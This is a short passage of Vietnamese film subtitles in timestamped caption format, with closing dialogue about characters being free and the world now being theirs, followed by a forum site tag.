Chưa xong đâu.

01:11:21.510 --> 01:11:24.550
Họ đã được tự do.

01:11:54.040 --> 01:11:56.960
Giờ thì sao nào?

01:11:56.960 --> 01:11:59.800
Tôi cũng không chắc nữa.

01:11:59.800 --> 01:12:02.720
Nhưng thế giới này bây giờ là của chúng ta.

01:12:03.470 --> 01:12:06.390
Đó là điều mà chúng ta đã làm được.

ZeroDay Forums Mini